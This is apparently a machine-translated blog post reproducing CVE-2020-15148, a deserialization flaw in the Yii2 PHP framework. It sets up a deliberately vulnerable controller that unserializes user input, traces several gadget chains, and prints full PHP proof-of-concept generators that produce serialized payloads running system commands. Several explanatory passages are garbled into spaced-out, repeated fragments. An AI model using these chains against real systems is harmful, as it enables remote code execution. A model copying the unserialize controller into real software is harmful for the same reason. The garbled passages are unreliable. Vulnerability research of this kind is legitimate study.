当前位置:网站首页>Recurrence of yii2 deserialization vulnerability
Recurrence of yii2 deserialization vulnerability
2022-07-19 01:40:00 【Default user_ one hundred and fourteen thousand five hundred an】
Yii2 Deserialization vulnerability recurrence
CVE-2020-15148
Vulnerability description
Yii It's a universal Web Programming framework , Can be used to develop a variety of uses PHP Built Web application . Because of the component-based framework structure and well-designed cache support , It is especially suitable for developing large-scale applications , Such as portal website 、 Community 、 Content management system (CMS)、 E-commerce projects and RESTful Web Service etc. .Yii22.0.38 Deserialization vulnerability in previous versions ,CVE The number is CVE-2020-15148
Environment building
To github Upload and download yii2 Of 2.0.37 edition
open /config/web.php

to 17 Yes cookieValidationKey Add a value , Anything will do

If you don't add it, it will be like this

use php yii serve --port=xxx start-up

Show default home page , The environment was built successfully

2.0.37 Version bug recurrence
Pre knowledge
Before the vulnerability reappears , add yii2 The pre knowledge points of the framework ,yii2 The format of calling controllers and methods is
http://url/index.php?r=[ controller ]/[ Method ]
But this is our own environment , No service at all , There is no entry point for deserialization , So we add an entry manually
stay /controllers Create a new controller under the folder , Write a new one in the controller action Method , Execute the incoming aaa Variable
Notice the namespace

Then call the custom method under our custom controller in the website interface
Here the controller and action Method naming is strictly standardized , It is obvious from the picture that , Don't explain too much

Above, we just tested whether the custom controller can work properly , Want to write a custom deserialization entry , Still have to write so
<?php
namespace app\controllers;
use yii\web\Controller;
class HahaController extends Controller{
public function actionXixi($aaa){
// return phpinfo();
return unserialize(base64_decode($aaa));
}
}
Deserialization chain analysis
2.0.38 The vulnerability before version is from **/vendor/yiisoft/yii2/db/BatchQueryResult.php Inside BatchQueryResult** Class starts with
Before starting to analyze the chain , First look at these class attributes , These are controllable points , We need to be sensitive in the later analysis

BatchQueryResult Class __destruct() It is the entrance of this chain

To follow up **reset()** Method

Here we call _dataReader Of close() Method , Follow up here close() After that, I can't find a point to use , however _dataReader yes BatchQueryResult Attributes of a class , controllable , So we can find a way to call a class __call() Method
Global search in the framework has __call() Class of method

among Generator.php Inside Generator It meets our requirements , The old rule is to look at the attributes first

Generator Of **__call()** Method

there ** m e t h o d ∗ ∗ yes By transfer use Of that individual No save stay Of Fang Law name , stay this in Just yes ∗ ∗ c l o s e ∗ ∗ , ∗ ∗ method** Is the name of the non-existent method being called , Here it is **close**,** method∗∗ yes By transfer use Of that individual No save stay Of Fang Law name , stay this in Just yes ∗∗close∗∗,∗∗attributes** Is the following parameter , It's empty here
Continue to follow up format() Method , here call_user_func_array It is very close to the goal

format() Two parameters of method , f o r m a t t e r ∗ ∗ Just yes On One layer Of ∗ ∗ formatter** It's on the next floor ** formatter∗∗ Just yes On One layer Of ∗∗method, That is to say close, a r g u m e n t s ∗ ∗ also change become 了 empty Count Group , ∗ ∗ c a l l u s e r f u n c a r r a y ∗ ∗ transfer use return transfer Letter Count , The first One individual ginseng Count do by return transfer Letter Count , after Noodles Of ∗ ∗ arguments** It also becomes an empty array ,**call_user_func_array** Call callback function , The first parameter is used as the callback function , hinder ** arguments∗∗ also change become 了 empty Count Group ,∗∗calluserfuncarray∗∗ transfer use return transfer Letter Count , The first One individual ginseng Count do by return transfer Letter Count , after Noodles Of ∗∗arguments As an argument to the callback function
Continue to follow up **getFormatter()** Method

there ** f o r m a t t e r ∗ ∗ Just yes On One layer Of ∗ ∗ c l o s e ∗ ∗ , and ∗ ∗ formatter** It's on the next floor **close**, and ** formatter∗∗ Just yes On One layer Of ∗∗close∗∗, and ∗∗this->formatters It's our control , That means we can control getFormatter() Return value of method , It controls the callback function , But what we need to pay attention to here is ,$arguments** It's an empty array , in other words , Here we can only construct a parameterless method , Want to use the parameterless method RCE, We need to continue to follow the chain
Our goal is to find yii A parameterless method inside the framework , So use regular to find a containing call call_user_func Methods ,call_user_func Is used to call the first parameter as a callback function
function\s\w*\(\)\n?\s*\{
(.*\n)+\s*call_user_func
give the result as follows

Although we found many , But not many meet the requirements , Among the requirements, the better use is CreateAction Classes and IndexAction The inside of the class run() Method , In two classes run() As like as two peas , there t h i s − > c h e c k A c c e s s ∗ ∗ and ∗ ∗ this->checkAccess** and ** this−>checkAccess∗∗ and ∗∗this->id All under control , So you can directly RCE 了

structure POC
We use first **phpinfo()** Test it as a nonparametric method
<?php
namespace yii\db;
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
private $_batch;
public function __construct()
{
$this->_dataReader = new Generator;
}
}
namespace Faker;
use yii\db\BatchQueryResult;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = 'phpinfo';
}
}
$aaa = new BatchQueryResult;
echo base64_encode(serialize($aaa));
success 
Start formal construction RCE Of POC
Here we use CreateAction Class **run()** As a last step
<?php
namespace yii\db;
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator;
}
}
namespace Faker;
use yii\db\BatchQueryResult;
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public $sss;
public function __construct()
{
$this->sss = new CreateAction(); // Create a CreateAction class
$this->formatters['close'] = array($this->sss,'run');
//call_user_func_array Calling the method inside the class is to pass an array at the callback function
}
}
namespace yii\rest;
use Yii;
use yii\base\Model;
use yii\db\BatchQueryResult;
use yii\helpers\Url;
use yii\web\ServerErrorHttpException;
// These are copied from the source code use, except use yii\db\BatchQueryResult Nothing else
class CreateAction{
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
$aaa = new BatchQueryResult;
echo base64_encode(serialize($aaa));
Deserialization successful

Here we use IndexAction Classes are basically the same , It won't happen again
2.0.38 Version utilization RunProcess class
Version comparison
open yii Of github see 2.0.38 and 2.0.37 Comparison of versions , We can see that one is added here **__wake() Method , Cut off directly from the source BatchQueryResult** Deserialization chain of class 
But behind Generator Class **__call() The method can still be used , So the idea is to find another and BatchQueryResult Class similar class , It contains a property controllable point and a method call point , According to this idea , We can find RunProcess** Class meets the requirements
Deserialization chain analysis
RunProcess Class **__destruct()** Method

To follow up **stopProcess()** Method

there ** p r o c e s s − > i s R u n n i n g ( ) ∗ ∗ and And front ∗ ∗ d a t a R e a d e r ∗ ∗ Of ∗ ∗ c l o s e ( ) ∗ ∗ Fang Law very image , and And ∗ ∗ process->isRunning()** And before **_dataReader** Of **close()** Methods like , and ** process−>isRunning()∗∗ and And front ∗∗dataReader∗∗ Of ∗∗close()∗∗ Fang Law very image , and And ∗∗process** controllable , The latter part is the same as before
structure POC
<?php
namespace Codeception\Extension;
use Faker\Generator;
class RunProcess{
private $processes = [];
public function __construct()
{
$this->processes[] = new Generator; // Be careful $this->processes Assign values as an array
}
}
namespace Faker;
use Codeception\Extension\RunProcess;
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public $sss;
public function __construct()
{
$this->sss = new CreateAction(); // Create a CreateAction class
$this->formatters['isRunning'] = array($this->sss,'run'); // Here you need to modify the name of the method below
//call_user_func_array Calling the method inside the class is to pass an array at the callback function
}
}
namespace yii\rest;
use Codeception\Extension\RunProcess;
class CreateAction{
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
$aaa = new RunProcess;
echo base64_encode(serialize($aaa));
Deserialization successful

2.0.38 Version utilization __toString()
Deserialization chain analysis
Our goal is to bypass BatchQueryResult class , Here's another one DiskKeyCache.php Of Swift_KeyCache_DiskKeyCache Class can be used
Swift_KeyCache_DiskKeyCache Class **__destruct()** Method

To follow up clearAll() Method , Here you can see t h i s − > p a t h ∗ ∗ By Into the That's ok 了 word operator strand Spell it Pick up , and ∗ ∗ this->path** String splicing , and ** this−>path∗∗ By Into the That's ok 了 word operator strand Spell it Pick up , and ∗∗this->path It's under our control , So it is possible to call a class toString() Method , there $nsKey It's something we can control , So it's no problem to execute to this string splice

Global search **toString()** Method , The goal is to find a method that calls with attributes

There is too much to use , The first thing you find is XmlBuilder class

here **$this->_dom_ You can still use the previous __call()** Method
structure POC
<?php
namespace Codeception\Util{
use Faker\Generator;
class XmlBuilder{
protected $__dom__;
public function __construct()
{
$this->__dom__ = new Generator;
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public $sss;
public function __construct()
{
$this->sss = new CreateAction(); // Create a CreateAction class
$this->formatters['saveXML'] = array($this->sss,'run');
//call_user_func_array Calling the method inside the class is to pass an array at the callback function
}
}
}
namespace yii\rest{
class CreateAction{
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace{
// Global namespace
use Codeception\Util\XmlBuilder;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct()
{
$this->path = new XmlBuilder;
$this->keys = ['haha'];
}
}
$aaa = new Swift_KeyCache_DiskKeyCache;
echo base64_encode(serialize($aaa));
}
Deserialization successful

similar **__toString() turn __call() There are other things that can be used See** class ,Covers class ,Deprecated class ,Generic class … Too much too much , The use of ideas are similar
Go straight to call_user_func Yes, there's another one FnStream class , This idea is similar to the previous idea of the second half of the chain
边栏推荐
猜你喜欢

深拷贝与浅拷贝

一文揭秘育碧等传统游戏大厂的NFT策略

Introduction to software vulnerability analysis (II)

Yii2反序列化漏洞复现

Introduction to software vulnerability analysis (III)

软件漏洞分析入门(一)

记一次用canvas做出腾讯云首页banner流光效果的经历

Page layout - three column layout solution

Assemblage stylisé de cartes de commutation auto - encapsulées

axs火爆,还有哪些打金游戏(上)
随机推荐
文章不会一直保持VIP收费 过一段时间 会开放
The applet is embedded in the web page, jumps to the applet and transmits parameters. The wechat applet realizes the authorization of official account to obtain openid
JS数组常用方法
Uni app wechat applet - Mall (3) - Mall Homepage
object-fit:cover; It doesn't work in the applet. How to deal with the deformation of the applet image
NFT 分化趋势已显,如何捕获价值?
Uniapp development, upload pictures in the app and send them directly to OSS
Basic use of promise
Express项目创建以及其路由介绍
2022年暑假ACM热身练习1(总结)
今天的码农女孩做了关于呼吸灯的练习、受控组件和高阶组件的简答题
14 检查整数及其两倍数是否存在
NFT IP授权热度渐起,NFT2.0时代即将到来?
记一次用canvas做出腾讯云首页banner流光效果的经历
Use leaflet to copy the original shentiwa Mega map to make a diary
Uni app wechat official account (5) - add and modify addresses
13 K 次取反后最大化的数组和
JS get the suffix format of a file name
数据库连接池、sequelize实现增删改查等操作
El date picker time range control